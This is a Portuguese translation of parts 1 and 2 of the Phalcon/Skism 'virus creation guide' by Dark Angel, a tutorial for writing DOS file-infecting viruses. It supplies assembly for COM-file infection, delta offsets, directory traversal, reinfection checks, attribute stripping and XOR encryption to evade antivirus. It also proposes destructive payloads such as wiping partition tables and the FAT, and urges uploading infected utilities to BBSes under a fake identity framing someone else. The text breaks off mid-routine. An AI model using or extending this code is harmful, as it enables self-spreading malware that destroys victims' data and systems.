C R I A N D O . V Í R U S

PHALCOM/SKISM

GUIA DE CRIAÇÃO DE VÍRUS POR DARK ANGEL #1

Traduzido e engarrafado por LeBeau


AVISO: O autor não se responsabiliza pelo mau uso desse texto!


AVISO AOS LAMMERS: Esse texto está infectado com o
virus Good Times
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

DEDICATÓRIA: Esse texto foi escrito para fazer as vidas de certas
pessoas , como Patty Hoffman, John McAffee, e Ross
Greenberg um verdadeiro inferno.


OTHER STUFF: Thanks go to The Shade of Sorrow,
Demogorgon, and Orion Rouge on their comments
(which I occasionally listened to!). Thanks
also to Hellraiser, who gave me an example of
some virus source code (his own, of course).


ONDE ENCONTRAR: Para encontrar esse guia e as futura edições vá para:
http://lebeau.home.ml.org
EM CASO DE DÚVIDAS:
lebeau@cyberspace.org (Não sou o autor mas manjo um
pouco de Assembly, portanto eu poderei não saber responder todas as
questões)


Guia de criação de virus por Dark Angel

Vírus são horríveis criações que foram escritas para se multiplicarem e destruírem os sistemas de idiotas incautos. Isso elimina dos sistemas todos os simplesões que não acham um problema quando um arquivo de 100 bytes transforma-se em um de 1000 bytes. Bah, esse imbecis não deveriam existir, sendo assim, é nosso trabalho sagrado varrer os discos rígidos deles da face da terra. É apenas uma questão de sobrevivência do mais forte.

Porque eu criei esse guia? Depois de escrever muitos virus, eu fiquei sabendo que os criadores de virus geralmente aprendem a criar virus atraves dos seus próprios vírus ou ao examinar o codigo dessassemblado de outros vírus. Existe uma falta incrível de informação no assunto. Mesmo livros publicados por grandes nomes tal como Burger, não mostram como são criados os vírus. Esse guia irá mostrar a você como criar um vírus e também irá dar a você um monte de códigos fontes para incluir em seu próprio vírus.

Criar vírus não é tão difícl como você deve estar imaginando. Para escrever um vírus efetivo, entretanto, você *deve* conhecer a linguagem assembly. Pequeno, código compacto são marcas registradas da linguagem assembly e essas são características desejáveis dos vírus. Entretanto, *não* é necessário escrever em puro assembler. C também pode ser usado, uma vez que ele permite quase controle total no sistema enquanto gera código relativamente compacto (se você ficar longe das bibliotecas de funções). Entretanto, você deverá acessar as interrupções, assim conhecimento em assembly continua necessário. Entretanto, ficar no assembly puro é melhor, uma vez que muitas operações são mais facilmente codificadas em assembly. Se você não conhece assembly, eu recomendo pegar uma cópia da Bíblia Microsoft de Macro Assembler (Nabajyoti Barkakati, ISBN #: 0-672-22659-6). É um livro simples de seguir cobrindo o assembly com muitos detalhes.
Também pegar uma cópia de Undocumented DOS (Schulman, et al, ISBN #0-201-57064-5), também seria muito útil.

A questão de qual compilador usar também é difícil. Eu sugiro usar o Borland Turbo Assembler e/ou Borland C++. Eu não tenho uma cópia do Zortech C (ele é muito grande para download), mas eu acho que ele é uma boa escolha. Fique longe dos compiladores Microsoft, uma vez que eles não são tão flexíveis nem eficientes como aqueles dos outros fabricantes.

Um pouco mais de itens rondam a lista de ferramentas que ajudam na construção de vírus. As últimas versões do Norton Utilities são uns dos programas mais poderosos disponíveis, e são imensamente necessários. TENHA CERTEZA QUE VOCÊ TENHA UMA CÓPIA! Você pode encontrar isso em qualquer BBS decente. O Norton é usado em cada passo do processo, da escrita até o teste. Bons helps sobre debugger. Utilitáris de controle de memória tais como MAPMEM, PMAP, e MARK/RELEASE, são utilitários sem valor, especialmente quando criando vírus TSR. Sourcer, o dissassemblador comentado, é útil para examinar o código de outros vírus (esse é um bom lugar para pegar idéias/técnicas para seu vírus).

Agora que você tem suas ferramentas, você está pronto para criar um trabalho de arte criado para esmagar os sistemas dos cretinos. Existem três tipos de vírus:

1) Vírus pequenos (abaixo dos 500 bytes) que são feitos para serem indetectáveis devido ao seu pequeno tamanho. TINY é um desses vírus. Eles são geralmente muito simples devido ao fato que seu tamanho é muito limitado.
2) Vírus Grandes (acima dos 1,500 bytes) que são feitos para ser indetectáveis devido ao fato que eles cobrem seu rastro muito bem (todo aquele código SERVE para algo!). O melhor exempho desse é o vírus Whale, que é talvez o melhor vírus 'Stealth' atualmente.
3) Outros vírus que não são feitos para serem escondidos totalmente (os escritores não ligam para isso). Os vírus comuns são como esses. Todos os vírus que sobreescrevem estão nessa categoria.

Você deve decidir que tipo de vírus você irá escrever. Eu irei tratar mais do segundo tipo (Vírus Stealth). Entretanto, muitas das técnicas descritas podem ser facilmente aplicadas para o primeiro tipo (vírus pequenos).Entretantos, os vírus pequenos geralmente não tem muitas das "qualidades" dos vírus maiores, tais como diretórios transversal. O terceiro tipo é mais um tipo de replicação de caválo de tróia, e irá garantir uma rápida (muito, muito rápida!) discussão mais tarde.

Um vírus pode ser dividido em três partes: a replicação, a camuflagem, e a bomba. A parte replicadora controla a multiplicação do vírus para outros arquivos, a camuflagem evita o vírus de ser encontrado, e a bomba apenas executa quando a condição de ativação do vírus (more sobre isso mais tarde) são satisfeitas.

A REPLICAÇÃO

O trabalho para a replicação é o de multiplicar o vírus através do sistema do cara que pegou o vírus. Como fazer isso sem destruir os arquivos que ele infecta? A forma mais fácil de fazer esse tipo de replicação é através da infecção de arquivos COM. Ele primeiro salva os primeiros bytes do arquivos infectado. Depois ele copia uma pequena parte de seu código para o início do arquivo, e o resto para o fim.

+---------+ +---------+
| P1 | P2 | | V1 | V2 |
+---------+ +---------+
Arquivo normal O código do vírus

No diagrama, P1 é a parte 1 do arquivo, P2 é a parte 2 do arquivo, e V1 e V2 são as partes 1 e 2 do vírus. Note que que o tamanho de P1 deve ser o mesmo do que o tamanho de V1, mas o tamanho de P2 não deve ser necessariamente o mesmo de V2. O vírus primeiro salva P1 e copia ele para:
1) O fim do arquivo ou
2) dentro do código do vírus. Vamos assumir que ele copia o código para o fim do arquivo. Esse arquivo agora agora está assim:

+--------------+
| P1 | P2 | P1 |
+--------------+

Então, o vírus copia a primeira parte de si próprio para o início do arquivo.

+--------------+
| V1 | P2 | P1 |
+--------------+

Finalmente, o vírus copia a segunda parte de si próprio para o fim do arquivo. A cópia final, o arquivo infectado fica parecendo assim:

+-------------------+
| V1 | P2 | P1 | V2 |
+-------------------+

A questão é: Que diabos fazem V1 e V2? V1 transferem controle do programa para V2. O código para fazer isso é simples.

JMP FAR PTR Duh ; Takes four bytes
Duh DW V2_Start ; Takes two bytes

Duh é um far pointer (Segmento:Offset) apontando para a primeira instrução de V2. Note que o valor de Duh deve ser modificada para refletir o tamanho do arquivo que está infectado. Por exemplo, se o tamanho original do programa é 79 bytes, Duh pode ser modificado assim a instrução em CS:[155h] é executada. O valor de Duh é obtido ao acrescentar o tamanho de V1, o tamanho original do arquivo infectado, e 256 (para contar para o PSP). Nesse caso, V1=6 e P1 + P2 = 79, assim 6 + 79 + 256 = 341 decimal (155 hex).

Um método alternado, muito mais difícil de entender segue-se:

DB 1101001b ; Código para o JMP (deslocamento de 2 byte)
Duh DW V2_Start - OFFSET Duh ; deslocamento de 2 byte

Isso insere o offset jump diretamente no código seguido da instrução jump. Você também pode trocar a segunda linha com

DW V2_Start - $

que faz a mesma tarefa.

V2 contém o resto do código, i.e. o código que faz todo o resto. A última parte de V2 copia P1 sobre V1 (na memória, não no disco) e então transfere o controle para o início do arquivo (na memória). O programa original então roda feliz como se nada tivesse acontecido. O código para fazer é muito simples.

MOV SI, V2_START ; V2_START é um rótulo marcando onde V2 inicia
SUB SI, V1_LENGTH ; Volta atras para onde P1 está armazenado
MOV DI, 0100h ; Todos os arquivos COM são carregados @ CS:[100h] na memória
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] -> ES:[DI]

MOV DI, 0100h
JMP DI

Esse código assume que P1 está localizado logo após V2, como aqui:

P1_Stored_Here:
.
.
.
V2_Start:

Isso também assume ES igual a CS. Se essas instruções são falsas, mude o código de acordo. Aqui vai um exemplo:

PUSH CS ; armazena CS
POP ES ; e move isso para ES
; Note MOV ES, CS não é uma instrução instrução válida
MOV SI, P1_START ; Move de onde P1 está armazenado
MOV DI, 0100h ; para CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB

MOV DI, 0100h
JMP DI

Esse código primeiro move CS para ES e então seta o pointer fonte de MOVSB para onde P1 está localizado. Lembre-se que isso tudo está pegando lugar na memória, assim você precisa o OFFSET de P1, não apenas a localização física do arquivo. O offset de P1 é 100h maior do que a localização física do arquivo, uma vez que arquivos COM são carregados a partir de CS:[100h].

Assim aqui está um sumário das partes do vírus e localização dos rótulos:

V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:

P2_Start:
P2_End:

P1_Start:
; Primeira parte do programa armazenado aqui para uso futuro
P1_End:

V2_Start:
; Programa Real
V2_End:

V1_Length EQU V1_End - V1_Start

Alternativamente, você pode armazenar P1 em V2 como segue:

V2_Start:

P1_Start:
P1_End:

V2_End:

É isso esquema para infectar um arquivo COM sem destruir ele! Simples, não? Arquivos EXE, entretanto, são um pouco mais difíceis de infectar sem deixar eles inexecutáveis - Eu irei cobrir esse tópico em um arquivo mais tarde.

Agora nós iremos voltar nossa atenção para a porção replicadora do vírus.
Os passos são mostrados abaixo:

1) Encontrar um arquivo para infectar
2) Checar se ele já está infectado
3) Se sim, voltar para 1
4) Infectar ele
5) Se já infectou arquivos que chegam então sai.
6) Senão, volta para 1

Encontrar um arquivo para infectar é uma forma simples de escrever um procedimento de diretórios transversais e pode-se instruir chamadas FINDFIRST e FINDNEXT para encontrar arquivos possíveis para infectar. Uma vez que você encontra um arquivo, abra ele e leia os primeiros poucos bytes. Se eles são os mesmos que os primeiros bytes V1, então o arquivo já está infectado. Se o bytes de V1 não são exclusivos de seu vírus então mude ele assim eles serão. É *extremamente* importante que seu vírus não reinfecte os mesmos arquivos, uma vez que foi dessa forma que o Jerusalem foi detectado pela primeira vez. Se o arquivos não estavam infectado, então infecte-o! Infecção deverá ter os seguintes passos:

1) Mudar os atributos do arquivo para nada.
2) Salvar a data/hora do arquivo.
3) Fechar o arquivo.
4) Abra ele de novo em modo de leitura/gravação.
5) Salve P1 e acrescente ele no fim do arquivo.
6) Copie V1 para o início, mas modifique o offset para onde ele JMPs (pula) assim ele transfere o controle corretamente.
7) Anexar V2 no fim do arquivo.
8) Restaure atributos do arquivo e a data/hora.

Você pode manter um contador de número de arquivos infectados durante essa rodada. Se o número excede, digamos 3, então pare. É melhor infectar aos pouco do que se deixar descobrir ao tentar infectar todo o drive de uma vez só.

Você deve cobrir todos os seus rastros quando você infecta um arquivo. Salve os atributos do arquivo originais mais a data e hora e restaure eles quando você terminar. ISSO É MUITO IMPORTANTE! Isso pega 50 a 75 bytes de código, provavelmente menos, para fazer essas poucas coisas que fazem maravilhas na hora de esconder seu programa.

Eu irei incluir o código para a função de diretório transversal, assim como outras partes do replicador na próxima edição do meu Guia de Vírus.

CAMUFLANDO

Esta é a parte que camufla o programa para não ser encontrado pelo usuário de todo dia e pelos anti-vírus. As forma mais simples de camuflagem é a encriptação.
O código para uma encriptação simples em XOR segue:

encrypt_val db ?

decrypt:
encrypt:
mov ah, encrypt_val

mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si

xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb ; AL -> ES:[DI]
loop xor_loop
ret

Note que os procedimentos de encriptação e desencriptação são as mesmas. Isso é devido a natureza louca do XOR. Você pode chamar (CALL) esses procedimentos de qualquer lugar no programa mas tenha certeza que não chame ele de um lugar de dentro da área a ser encryptada, pois o programa irá dar erros. Quando escrever o vírus, mude o valor de encriptação para 0. part_to_encrypt_start e part_to_encrypt_end indicam a parte que você deseja encriptar. Use uma chama decrypt no início de V2 para desencriptar o arquivo assim seu programa pode rodar. Quando Infectar um arquivo, primeiro mude o encrypt_val, depois chame encrypt, depois escreva V2 para o fim do arquivo, e chame decrypt. TENHA CERTEZA QUE ESSA PARTE NÃO ESTEJA NA ÁREA QUE VAI SER ENCRIPTADA!!!

Aqui está como V2 irá parecer com a camuflagem:

V2_Start:

Concealer_Start:
.
.
.
Concealer_End:

Replicator_Start:
.
.
.
Replicator_End:

Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:

Alternativamente, você pode mover partes do código não-encriptado entre Part_To_Encrypt_End e V2_End.

O valor da encriptação é somente aparente. Encriptação torna a tarefa dos anti-vírus difícil para encontrar seu vírus. Ele também esconde algumas cadeias de textos localizadas em seu programa. Esta é a forma mais fácil e curta de esconder seu vírus.

Encriptação é apenas uma forma de camuflar o vírus. Há vírus que alteram as interrupções do DOS e altera a saída de dados do DIR, assim os tamanhos do arquivo aparecem normais. Outra forma de camuflar (Para vírus TSR) é alterar o DOS assim utilitários de memória não detectam o vírus. Carregar o vírus em certas partes da memória permitem que eles sobrevivam a um reboot. Existem muitas técnicas de camuflagem do vírus, limitadas apenas pela imaginação do escritor.

A BOMBA

Bom, agora que toda a parte chata está feita. A coisa indecente está contida aqui. A parte do vírus que faz todas as deleções/slowdown/etc que deixam os vírus tão incomodáveis. De alguma condições de ativação para o vírus. Isso pode ser qualquer coisa, indo da data de seu aniversário até quando o vírus infectou 100 arquivos. Quando essas condições se concretizam, então o seu vírus executa a bomba. Alguma sugestões de bombas possíveis:

1) Deixar o sistema mais lento - facilmente feito ao capturar uma interrupção e causar um delay quando ela ativa.
2) Deleção de arquivos - Deletar todos os arquivos ZIP do drive.
3) Mostrar messagens - Mostrar uma messagem legal tipo dissendo algo de mesmo efeito de: "Você está fodido"
4) Apagar/Trocar as tabelas de partição/Setor de Boot/FAT do disco rígido - isso é muito mal, e muitos idiotas não conseguem arrumar isso.

Esse é, com certeza, a parte engraçada de escrever um vírus, então seja original!

PROBLEMAS COM O OFFSET

Existe um problema no cálculo de offsets. Depois de você infectar um arquivos, os locais das variáveis mudam. Você TEM que contar isso. Todos offsets relativos podem ficam o mesmo, mas você tem que acrescentar o tamanho do arquivo para os offsets absolutos ou seu programa não vai funcionar. Essa é a parte mais complicada ao escrever o vírus e levar isso em conta irá aumentar grandemente o tamanho do vírus. ISSO É MUITO IMPORTANTE E VOCÊ DEVE ESTAR ENTENDENDO ISSO ANTES DE TENTAR ESCREVER UM QUE NÃO SOBREESCREVE OS PROGRAMAS! Se você não o fizer, você vai se fuder e o seu vírus NÃO VAI TRABALHAR! Uma parte inteira desse guia vai ser devotado para esse problema.

TESTANDO

Testar o vírus é uma parte perigosa mas essential no processo de criação de vírus. É para se ter certeza que pessoas *irão* ser prejudicadas pelo vírus. Teste-o em todas as condições e tenha certeza que ele ativa-se dentro das condições. Isso pode ser me melhor feito se você ou algum amigo tiver um segundo computador para testas o vírus, mas, é claro, esse não é o nosso caso. Assim, é ESSENCIAL que você mantenha cópias de segurança de seus arquivos, partição, boot record, e FAT. Norton é ótimo em fazer isso. Nao esqueça esse aviso porque você SERÁ atingido pelo seu próprio vírus. Quando eu fiz me primeiro vírus, meu sistema foi abaixo por dois dias porque eu não tinha boas cópias de segurança. Com sorte, o vírus não era muito destrutivo. Eu encontrei no RamDrive uma ótima forma de testar os vírus, uma vez que os danos não são permanente. RamDrive também é ótimo para testar Cávalos de Tróia, mas esse é um tópico para outro arquivo...

DISTRIBUINDO

Essa é outra parte interessante da escrita de vírus. Isso envolve enviar seu programa brilhantemente feito através das linha de telefone para a sua BBS local. O que você deve fazer é infectar um arquivo que faz algo interessante (pegue algum utilitário útil de outra BBS), infecte ele e dê um upload nele para o local onde ele será copiado por usuários de todo lugar. A melhor coisa que seu vírus tem é que ele não é detectado por anti-vírus idiotas como o da McAffee, uma vez que ele é novo! E é claro, tenha certeza que você está usando uma conta falsa (duh). Melhor ainda, crie uma conta false com o nome/número de telefone de alguém que você não goste e upload o arquivo infectado com o nome dele. Você pode ligar de volta de tempos em tempos e usar uma porta como a ZDoor para checar a multiplicação do seu vírus. Quantos mais copiaram seu vírus, mais compartilharam a experiência do seu vírus!

Eu prometi uma breve seção em vírus que sobreescrevem programas, assim, aqui esta ela...

VÍRUS QUE SOBREESCREVEM PROGRAMA (OVERWRITING)

Tudo o que esse vírus faz é espalhar-se pelo sistema. Eles deixar os arquivos infectados inutilizados, assim eles são facilmente detectados. É muito simples fazer um:

+------------+ +------+ +------------+
| Programa | + |Vírus | = |Vírus|ama |
+------- ----+ +------+ +------------+

Esses vírus são pequenos, mas muito fáceis de serem detectados. Isso é o suficiente saber!

BOM, É ISSO!!!

Espero que você tenha gostado da primeira edição de Guia de Criação de Vírus. Irá ter (com sorte) futuras edições onde eu discutirei mais sobre vírus e irei incluir muito mais código fonte. Até lá, Happy Coding!!!


PHALCOM/SKISM

GUIA DE CRIAÇÃO DE VÍRUS POR DARK ANGEL #2

Traduzido e engarrafado por LeBeau

 

AVISO: Deveria ter um aviso aqui.
99.44% do código deve funcionar.

 

GREETS -N- STUFF: Greets go to all the members
of PHALCON/SKISM. I wish to give buckets o'
thanks to Hellraiser, Garbageheap, and Demo-
gorgon. No thanks this time to Orion Rouge,
the godly master of idiocy.

 


Guia de Criação de Vírus por Dark Angel

 

ONDE ENCONTRAR: Para encontrar esse guia e as futura edições vá para:
http://lebeau.home.ml.org
EM CASO DE DÚVIDAS:
lebeau@cyberspace.org (Não sou o autor mas manjo um
pouco de Assembly, portanto eu poderei não saber responder todas as
questões)

 

REPLICAÇÃO Parte 2


Na última parte do meu guia de criação de vírus, eu mostrei os vários tipos de vírus e fiz uma breve discussão sobre cada. Nessa edição, eu deverei devotar toda a minha atenção sobre a porção replicadora do vírus. Eu prometi código e código eu estou apresentando.


Entretanto, eu devo me afastar um momento porque chegou aos meus ouvidos que algumas cópias piratas da primeira parte fora inadvertidamente realizadas. Essas cópias não contém uma seção vital que seria o cálculo de offsets.

Você nunca sabe quando estão suas variáveis e o código está sumindo na memória. Se você pensar um pouco, isso seria muito óbvio. Uma vez que você está anexando o vírus para o fim de um programa, a localização na memória esta sendo alterado, i.e. ele será maior que o tamanho do arquivo infectado. Assim, para compensar, nós devemos pegar a mudança no offset a partir do vírus original, ou o offset delta, e acrescentar aquilo para todas as referências de variáveis.

Instruções que usam deslocamentos, ex. offsets relativos, não precisam ser modificados. Essas instruções são as classes JA, JB, JZ de instruções, JMP, SHORT, label JMP, e CALL. Então,
Suponha nos exemplos seguintes, que si é algo carregado no offset delta.

Trocar
mov ax, counter
Por
mov ax, word ptr [si+offset counter]

Trocar
mov dx, offset message
Por
lea dx, [si+offset message]

Você pode estar se perguntado, "Como diabos eu irei encontrar o offset delta!?"
É muito simples:

call setup
setup:
pop si
sub si, offset setup

Uma explicação para o fragmento acima está vindo. CALL setup empurra a localização para a próxima instrução, ou seja, offset setup, indo para a pilha. Depois, essa instrução é POPada em si. Finalmente, o offset ORIGINAL de setup (calculada em tempo de compilação) é subtraída de si, dando a você o offset delta. No vírus original, o offset delta irá ser 0, ou seja a nova localização do setup igual a velha localização do setup.

É preferível usar bp como seu offset delta, uma vez que si é usado nas instruções de cadeia de caracteres. Use aquele que você achar melhor. Eu irei aleatoriamente passar de um para outro dependendo de como cada um se encaixa.

Agora de volta para a replicação...

Um vírus biológico é um organismo parasítico que usa seu portador para multiplicar a si mesmo. Ele deve manter o portador vivo para manter-se vivo. Apenas quando ele se multiplicou demais, é que seu portador morre, morte horrível. Os vírus eletrônicos modernos não são diferentes. Ele se acrescenta para um sistema portador e se reproduz até que o sistema inteiro esteja fodido. Ele então elegantemente demole o sistema do idiota que estava com o vírus.

Replicação é aquilo que distingue um vírus de um simples cavalo de tróia. Qualquer um pode fazer um cavalo de tróia, mas um vírus é muito mais elegante. Ele age praticamente invisível, e ele deixa a vítima sem defesas quando ele acaba com o sistema. A primeira questão é, é claro, como um vírus se multiplica? Tanto as infecções COM e EXE (com rotinas de infecção de exemplo) deverão ser apresentadas.

Existem duas grandes variedades de vírus: runtime(tempo de execução) e TSR(Terminate and Stay Resident, termina e continua residente). Vírus de Runtime, infecta arquivos quando o programa infectado está rodando, enquanto que os vírus TSR ficam residentes quando o programa infectado é executado, ele então captura as interrupções e infecta quando um arquivo é rodado, aberto, fechado, e/ou durante a execução (i.e. INT 20h, INT 21h/41h). Existem vantagens e desvantagens em cada uma. Vírus Runtime são difíceis de detectar uma vez que eles não aparecem em mapas de memória, mas, olhando outro aspecto, o delay enquanto ele procura arquivo e infecta um arquivo são um motivo para o usuário suspeitar de que algo está saindo errado. Vírus TSR, se não forem bem feitos, podem ser facilmente localizados por utilitários como o MAPMEM, PMAP, etc, mas são em geral, pequenos, desde que eles não precisem de função para procurar por arquivos para infectar. Eles são mais rápidos do que vírus runtime, sendo devido ao fato que eles não tem que procurar por arquivos para infectar. Eu devo cobrir vírus runtime aqui, e vírus TSR em uma edição futura.

Aqui está um sumário do procedimento de infecção:
1) Achar um arquivo para infectar.
2) Checar se ele possui os critérios para infecção.
3) Ver se ele já foi infectado, e se for, volte para 1.
4) Senão, infecte o arquivo.
5) Cubra seus rastros.

Eu devo passar por cada um desses passo e mostrar código de exemplo para cada um. Note que praticamente um vírus completo pode ser feito com a informação acima, você pode simplesmente separar o código e juntar tudo depois, como os fragmentos são de vários vírus diferentes que eu escrevi, você deve estar familiar com assembly. Eu apresento fragmentos de códigos; você que sabe se quer usar eles como exemplos ou modifica-los para seu próprio vírus.

 

PASSO 1 - ENCONTRANDO UM ARQUIVO PARA INFECTAR


Antes de infectar um arquivo, você terá que encontra-lo primeiro! Isso é um passo decisivo na performance do vírus, então isso deverá ser feito o mais eficiente quanto possível. Para vírus runtime, existem algumas opções. Você pode infectar arquivos apenas no diretório atual, ou você pode fazer uma função de diretórios transversal para infectar arquivos em TODOS os
diretórios (apenas alguns poucos arquivos por vez, é claro), ou você pode infectar arquivos em alguns diretórios. Por que você deve escolher apenas para infectar arquivos no diretório atual? Isso é uma limitação da eficácia das infecções. Entretanto, isso é feito em alguns vírus tanto para acelerar o processo quanto para diminuir o tamanho do código.

Aqui está uma função de diretório transversal. Ele usa recursividade, assim ele é um pouco lento, mas ele faz o trabalho. Isso foi extraído com algumas modificações do Funky Bob Ross Virus [Beta].

traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Alocar spaço para DTA

call infect_directory ; Vá para rotinas de encontrar e destruir

mov ah,1Ah ;Alterar DTA
lea dx,word ptr [bp-44] ; para distribuir o espaço
int 21h ;Faça isso agora!

mov ah, 4Eh ;Find first
mov cx,16 ;Mascara de diretório
lea dx,[si+offset dir_mask] ; *.*
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ; Primeiro caracter == '.'?
je short donext ; Sim, faz um loop
lea dx,word ptr [bp-14] ; senão carregar dirname
mov ah,3Bh ; e mudar de diretório lá
int 21h
jc short donext ; Do next se inválido
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; diretório recursivo
donext:
lea dx,word ptr [bp-44] ; Carrega espaço alocado para DTA
mov ah,1Ah ; e configura DTA para essa nova área
int 21h ; Porque isso pode'cause it might have changed

mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ; Se OK, jmp para outro lugar
cmp word ptr [si+offset nest], 0 ; Se diretório raiz
; (nest == 0)
jle short cleanup ; então Quit
dec word ptr [si+offset nest] ; Senão decrementa nest
lea dx, [si+offset back_dir]; '..'
mov ah,3Bh ; Mudar de diretório
int 21h ; Para o próximo
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp

; Variáveis
nest dw 0
back_dir db '..',0
dir_mask db '*.*',0

O código é auto-explicável. Tenha certeza de que você tem uma função infect_directory que scaneia o diretório em busca de arquivos para serem infectados e tenha certeza que ele não infecte arquivos já infectados. Esta função, chama infect_file que infecta o arquivo.

Note, como eu disse antes, isso é lento. Um método rápido, não o melhor, é o método "ponto a ponto". Hellraiser mostrou a mim esse pequeno truque. Basicamente, você continua procurando em cada diretório e, se você não tiver infectado arquivos suficientes, vá para o diretório anterior (ponto a ponto) e tenta denovo, e assim vai. O código é simples.

dir_loopy:
call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h
jnc dir_loopy ; sair se está no diretório

; Variables
dotdot db '..',0

Agora você deve encontrar um arquivo para infectar. Isso é feito (nos fragmentos acima) por uma função chamada infect_directory. Essa função chama FINDFIRST e FINDNEXT uma quantidade de vezes para encontrar arquivos para infectar. Você deve primeiro configurar um novo DTA. NUNCA use o DTA no PSP (a 80h) porque alterando aquilo irá alterar os parâmetros da linha de comando do programa infectado quando o controle é retornado a ele. Isso é feito facilmento feito com o seguinte código:

mov ah, 1Ah ; Seta DTA
lea dx, [bp+offset DTA] ; para uma variável chamada DTA (wow!)
int 21h

Onde DTA é um pedaço de 42-byte de memória. Depois, fazer uma série de chamadas FINDFIRST e FINDNEXT:

mov ah, 4Eh ; Procura primeiro arquivo
mov cx, 0007h ; Qualquer atributo do arquivo
lea dx, [bp+offset file_mask]; DS:[DX] --> máscara do arquivo
int 21h
jc none_found
found_another:
call check_infection
mov ah, 4Fh ; Procura próximo arquivo
int 21h
jnc found_another
none_found:

Onde file_mask é DBed tanto para '*.EXE',0 ou '*.COM',0. Alternativamente, você pode usar FINDFIRST para '*.*',0 e checar se a extensão é EXE ou COM.

PASSO 2 - CHECAGEM DE CRITÉRIOS DE INFECÇÃO


Seu vírus deve ser esperto em sua infecção. Por exemplo, você pode não querer infectar o COMMAND.COM, uma vez que alguns programas (i.e. o maldito FluShot+) checa seu CRC ou checksum quando executado. Aqui abaixo vai uma forma de como não infectar o COMMAND.COM, ele checa se as últimas letras são "ND":

cmp word ptr [bp+offset DTA+35], 'DN' ; Order Reversa da palavra
jz fail_check

PASSO 3 - CHECANDO POR INFECÇÃO ANTERIOR



Todo vírus tem certas características que permitem que você a você verificar se um arquivo já foi infectado. Por exemplo, um pedaço de código pode aparecer em um certo lugar. Ou talvez a instrução JMF estão sempre codificada da mesma forma. De outra forma, você deve ter certeza que seu vírus possui um marcador, assim múltiplas infecções no mesmo arquivo não ocorrem. Aqui está um exemplo de uma checagem desse tipo (para um infector de arquivo COM):

mov ah,3Fh ; Lê os primeiros 3
mov cx, 3 ; bytes do arquivo
lea dx, [bp+offset buffer] ; para o buffer
int 21h

mov ax, 4202h ; Procurar o fim do arquivo
xor cx, cx ; DX:CX = offset
xor dx, dx ; Retorna o tamanho do arquivo
int 21h ; em DX:AX

sub ax, virus_size + 3
cmp word ptr [bp+offset buffer+1], ax
jnz infect_it

bomb_out:
mov ah, 3Eh ; senão fecha o arquivo
int 21h ; e vai procurar outro

Nesse exemplo, BX é assumido para mexer com o arquivo a fim de checar se foi infectado e se se o tamanho do vírus é igual ao tamanho do vírus. Buffer é assumido para ser uma área de 3 bytes de espaço vazio. Esse fragmento de código lê os primeiros 3 bytes no buffer e depois compara a localização do JMP. (localizado no início do Word em buffer+1) e se o JMP está a virus_size bytes antes do Fim do arquivo, então o arquivo já está infectado com esse vírus. Outro método pode ser procurar em uma certa localização no arquivo para um byte ou word marcador. Por exemplo:

mov ah, 3Fh ; Le os primeiros 4
mov cx, 4 ; bytes do arquivo
lea dx, [bp+offset buffer] ; no buffer.
int 21h

cmp byte ptr [buffer+3], infection_id_byte ; Checar o quarto
jz bomb_out ; byte para o marcador
infect_it:

PASSO 4 - INFECTAR O ARQUIVO


Esse é o coração da replicação. Uma vez que você localizou uma arquivo potencial, você deve salvar os atributos, hora, data e tamanho para uso mais tarde. A parte abaixo é uma explicação do DTA:

Offset Tamanho O que é
0h 21 BYTES Reservado, varias a cada versão do DOS
15h BYTE Atributo do Arquivo
16h WORD Hora do Arquivo
18h WORD Data do Arquivo
1Ah DWORD Tamanho do Arquivo
1Eh 13 BYTES ASCIIZ nome + extensão

Como você pode ver, o DTA contém todas as informações vitais quanto ao arquivo que você precisa. O código abaixo é um exemplo de como salvar as informações:

lea si, [bp+offset DTA+15h] ; Iniciar com atributos
mov cx, 9 ; Terminar com tamanho
lea di, [bp+offset f_attr] ; Mover para sua localizações
rep movsb
; Variáves necessárias
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?

Você agora pode mudar os atributos do arquivo para nada através de INT 21h/Função 43h/ Subfunção 01h. Isso é para permitir a infecção de arquivos de sistema, escondidas e arquivos apenas de leitura. Apenas vírus primitivos (ou minímos) não infectam esses arquivos.


lea dx, [bp+offset DTA+1eh] ; DX aponta para nome do arquivo em
mov ax, 4301h ; DTA
xor cx, cx ; Limpar atributos do arquivos
int 21h ; Fazer a chamada

Uma vez que os atributos foram aniquilados, você pode abrir o arquivo com impunidade. Use um acesso em modo ler/escrever.

lea dx, [bp+offset DTA+1eh] ; Use nome do arquivo no DTA
mov ax, 3d02h ; Abrir modo ler/escrever
int 21h ; duh.
xchg ax, bx ; Acesso é mais útil em
; BX

Agora nos chegamos na parte que você mais queria: a rotina de infecção. Eu estou orgulhoso para apresentar códigos que irão fazer a infecção em arquivos COM. Ahh, você diz, eu posso fazer isso com a informação apresentada na edição anterior. Ah, mas tem muito mais. Um exemplo de infector de EXE deverá se apresentado rapidamente.

A teoria em infectar foi abordada na última edição, então eu não devo entrar em detalhes de novo. Aqui está um infector de exemplo:

; Exemplo de infector de COM. Assume que BX possuir o acesso ao arquivo
; Assume que o arquivo COM passou pelos critérios de infecções e não foi infectado ainda.
mov ah, 3fh
lea dx, [bp+buffer1]
mov cx, 3
int 21h

mov ax, 4200h ; Move o ponteiro do arquivo
xor cx, cx ; para o início do
xor dx, dx ; arquivo
int 21h

mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Geralmente 3
mov word ptr [bp+buffer2+1], ax ; offset do JMP

; Codificar a instrução JMP para trocar o início do arquivo
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Geralmente 3
mov word ptr [bp+buffer2+1], ax ; offset de JMP

; Escreve a instrução JMP no início do arquivo
